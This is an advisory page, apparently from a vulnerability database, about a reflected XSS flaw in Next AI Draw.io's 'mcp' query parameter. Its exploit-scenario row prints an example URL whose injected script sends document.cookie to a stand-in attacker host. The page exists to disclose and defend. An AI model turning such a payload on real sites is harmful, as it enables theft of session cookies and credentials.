EUVD-2026-58196
GHSA-7wvw-5p69-5396
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-delivered reflected XSS requires active user interaction (UI:R); payload executes in a different browser origin than the attacker controls, constituting scope change (S:C) with limited confidentiality and integrity impact on that origin.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2DescriptionCVE.org
Next AI Draw.io 0.2.1 through 0.4.16 contains a reflected cross-site scripting vulnerability in the mcp query parameter that is interpolated without escaping into HTML and JavaScript. Attackers can craft malicious URLs to execute arbitrary JavaScript in the localhost origin, enabling exfiltration of diagram sessions and API data.
AnalysisAI
Reflected XSS in Next AI Draw.io 0.2.1 through 0.4.16 allows unauthenticated remote attackers to inject and execute arbitrary JavaScript in the localhost origin by crafting malicious URLs containing a payload in the unsanitized mcp query parameter. Successful exploitation - which requires a victim to click the crafted link - enables theft of diagram session tokens and API credentials accessible within that browser origin. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The vulnerable endpoint must receive and render the `mcp` query parameter - an attacker-controllable URL parameter interpolated without escaping into HTML/JavaScript output. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 base score of 5.1 (Medium) accurately reflects the primary constraint: mandatory active user interaction (UI:A) means the attacker must socially engineer a victim into clicking a crafted URL rather than exploiting passively. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker constructs a URL targeting the victim's locally running Next AI Draw.io instance with a JavaScript payload embedded in the `mcp` query parameter (e.g., `http://localhost:3000/path?mcp=<script>fetch('https://attacker.example/steal?d='+document.cookie)</script>`), then delivers it via a phishing email or social engineering message. When the victim clicks the link, the application reflects the unescaped parameter into the rendered HTML, causing the browser to execute the attacker's script in the localhost origin. … |
| Remediation | No vendor-released patched version is independently confirmed from available data - the fix reference (https://github.com/DayuanJiang/next-ai-draw-io/issues/917) points to a GitHub issue rather than a tagged release, so the upstream fix availability should be monitored directly in that repository. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Next Ai Draw Io
View allSame weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today